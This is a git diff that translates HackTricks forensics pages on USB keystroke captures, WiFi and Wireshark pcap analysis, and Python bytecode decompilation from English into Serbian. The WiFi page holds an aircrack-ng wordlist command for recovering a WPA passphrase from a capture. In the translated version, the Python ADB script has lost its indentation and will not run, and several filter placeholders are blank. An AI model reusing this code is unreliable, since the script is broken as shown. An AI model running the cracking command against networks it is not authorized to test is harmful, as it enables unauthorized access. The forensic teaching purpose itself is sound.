-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 8168fa14d..0758bbe4e 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,34 +1,28 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-If you have a pcap containing the communication via USB of a keyboard like the following one: +Ako imate pcap koji sadrži komunikaciju preko USB-a tastature kao što je sledeći: ![](<../../../.gitbook/assets/image (613).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication: - +Možete koristiti alat [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) da biste dobili šta je napisano u komunikaciji: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - - - -You can read more information and find some scripts about how to analyse this in: +Više informacija i neke skripte o tome kako analizirati ovo možete pronaći na: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -36,16 +30,14 @@ You can read more information and find some scripts about how to analyse this in
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 51a053801..8a5502a73 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,23 +1,21 @@ - -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-# Check BSSIDs +# Provera BSSID-ova -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +Kada dobijete snimak čiji je glavni saobraćaj Wifi, koristeći WireShark, možete početi istraživanje svih SSID-ova snimka sa _Wireless --> WLAN Traffic_: ![](<../../../.gitbook/assets/image (424).png>) @@ -25,29 +23,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ## Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +Jedna od kolona na tom ekranu ukazuje da li je **pronađena bilo kakva autentifikacija unutar pcap-a**. Ako je to slučaj, možete pokušati Brute Force koristeći `aircrack-ng`: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Na primer, povratit će WPA lozinku koja štiti PSK (pre-shared key), koja će biti potrebna kasnije za dešifrovanje saobraćaja. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +# Podaci u balisama / bočni kanal -# Data in Beacons / Side Channel +Ako sumnjate da **podaci cure unutar balisa WiFi mreže**, možete proveriti balise mreže koristeći filter poput sledećeg: `wlan contains `, ili `wlan.ssid == "IMEmreže"` pretražite filtrirane pakete u potrazi za sumnjivim nizovima. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +# Pronalaženje nepoznatih MAC adresa u WiFi mreži -# Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Sledeći link će biti koristan za pronalaženje **mašina koje šalju podatke unutar WiFi mreže**: * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Ako već znate **MAC adrese, možete ih ukloniti iz rezultata** dodavanjem provere poput ove: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Kada ste otkrili **nepoznate MAC adrese** koje komuniciraju unutar mreže, možete koristiti **filtere** poput sledećeg: `wlan.addr== && (ftp || http || ssh || telnet)` da biste filtrirali njen saobraćaj. Imajte na umu da su filteri ftp/http/ssh/telnet korisni ako ste dešifrovali saobraćaj. -# Decrypt Traffic +# Dešifrovanje saobraćaja Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit @@ -59,16 +55,14 @@ Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 1b34fb3ca..337a38057 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,183 +1,181 @@ -# Wireshark tricks +# Trikovi za Wireshark -## Wireshark tricks +## Trikovi za Wireshark
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini da podržite HackTricks: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Improve your Wireshark skills +## Unapredite svoje veštine u Wireshark-u -### Tutorials +### Tutorijali -The following tutorials are amazing to learn some cool basic tricks: +Sledeći tutorijali su sjajni za učenje nekih cool osnovnih trikova: * [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) * [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### Analizirane informacije -**Expert Information** +**Ekspertne informacije** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +Klikom na _**Analyze** --> **Expert Information**_ dobićete **pregled** onoga što se dešava u analiziranim paketima: ![](<../../../.gitbook/assets/image (570).png>) -**Resolved Addresses** +**Rešene adrese** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +Pod _**Statistics --> Resolved Addresses**_ možete pronaći nekoliko **informacija** koje je wireshark "**rešio**" kao što su port/transport u protokol, MAC adresa proizvođača, itd. Korisno je znati šta je uključeno u komunikaciju. ![](<../../../.gitbook/assets/image (571).png>) -**Protocol Hierarchy** +**Hijerarhija protokola** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +Pod _**Statistics --> Protocol Hierarchy**_ možete pronaći **protokole** koji su uključeni u komunikaciju i podatke o njima. ![](<../../../.gitbook/assets/image (572).png>) -**Conversations** +**Konverzacije** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +Pod _**Statistics --> Conversations**_ možete pronaći **rezime konverzacija** u komunikaciji i podatke o njima. ![](<../../../.gitbook/assets/image (573).png>) -**Endpoints** +**Krajnje tačke** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +Pod _**Statistics --> Endpoints**_ možete pronaći **rezime krajnjih tačaka** u komunikaciji i podatke o svakoj od njih. ![](<../../../.gitbook/assets/image (575).png>) -**DNS info** +**DNS informacije** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +Pod _**Statistics --> DNS**_ možete pronaći statistike o uhvaćenim DNS zahtevima. ![](<../../../.gitbook/assets/image (577).png>) -**I/O Graph** +**I/O Grafikon** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +Pod _**Statistics --> I/O Graph**_ možete pronaći **grafikon komunikacije**. ![](<../../../.gitbook/assets/image (574).png>) -### Filters +### Filteri -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Ovde možete pronaći Wireshark filtere u zavisnosti od protokola: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Drugi interesantni filteri: * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic +* HTTP i početni HTTPS saobraćaj * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN +* HTTP i početni HTTPS saobraćaj + TCP SYN * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - * HTTP and initial HTTPS traffic + TCP SYN + DNS requests +* HTTP i početni HTTPS saobraćaj + TCP SYN + DNS zahtevi -### Search +### Pretraga -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Ako želite da **pretražujete** **sadržaj** unutar **paketa** sesija pritisnite _CTRL+f_. Možete dodati nove slojeve u glavnu traku informacija (No., Vreme, Izvor, itd.) pritiskom na desno dugme, a zatim na dugme za uređivanje kolone. -### Free pcap labs +### Besplatni pcap labovi -**Practice with the free challenges of: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)** +**Vežbajte sa besplatnim izazovima na: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)** -## Identifying Domains +## Identifikacija domena -You can add a column that shows the Host HTTP header: +Možete dodati kolonu koja prikazuje Host HTTP zaglavlje: ![](<../../../.gitbook/assets/image (403).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +I kolonu koja dodaje ime servera iz inicijalne HTTPS veze (**ssl.handshake.type == 1**): ![](<../../../.gitbook/assets/image (408) (1).png>) -## Identifying local hostnames +## Identifikacija lokalnih imena hostova -### From DHCP +### Iz DHCP-a -In current Wireshark instead of `bootp` you need to search for `DHCP` +U trenutnom Wireshark-u umesto `bootp` trebate pretražiti `DHCP` ![](<../../../.gitbook/assets/image (404).png>) -### From NBNS +### Iz NBNS-a ![](<../../../.gitbook/assets/image (405).png>) -## Decrypting TLS +## Dekriptovanje TLS-a -### Decrypting https traffic with server private key +### Dekriptovanje https saobraćaja sa privatnim ključem servera _edit>preference>protocol>ssl>_ ![](<../../../.gitbook/assets/image (98).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Pritisnite _Edit_ i dodajte sve podatke o serveru i privatnom ključu (_IP, Port, Protocol, Key file i password_) -### Decrypting https traffic with symmetric session keys +### Dekriptovanje https saobraćaja sa simetričnim sesijskim ključevima -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +i Firefox i Chrome imaju mogućnost beleženja TLS sesijskih ključeva, koji se mogu koristiti sa Wireshark-om za dekriptovanje TLS saobraćaja. Ovo omogućava detaljnu analizu sigurne komunikacije. Više detalja o tome kako izvršiti ovo dekriptovanje možete pronaći u vodiču na [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Da biste ovo otkrili, pretražite okruženje za promenljivu `SSLKEYLOGFILE` -A file of shared keys will look like this: +Fajl sa deljenim ključevima će izgledati ovako: ![](<../../../.gitbook/assets/image (99).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Da biste uvezli ovo u wireshark idite na \_edit > preference > protocol > ssl > i uvezite ga u (Pre)-Master-Secret log filename: ![](<../../../.gitbook/assets/image (100).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB komunikacija +Izvucite APK iz ADB komunikacije gde je APK poslat: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index 7c180fcf8..58f808c9d 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,89 +1,78 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Dekompilacija kompajliranih Python binarnih fajlova (exe, elf) - Dobijanje iz .pyc
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +Ako vas zanima **hakerska karijera** i hakovanje nehakabilnog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_). {% embed url="https://www.stmcyber.com/careers" %} -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Od Kompajliranog Binarnog Fajla do .pyc +Iz **ELF** kompajliranog binarnog fajla možete **dobiti .pyc** sa: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 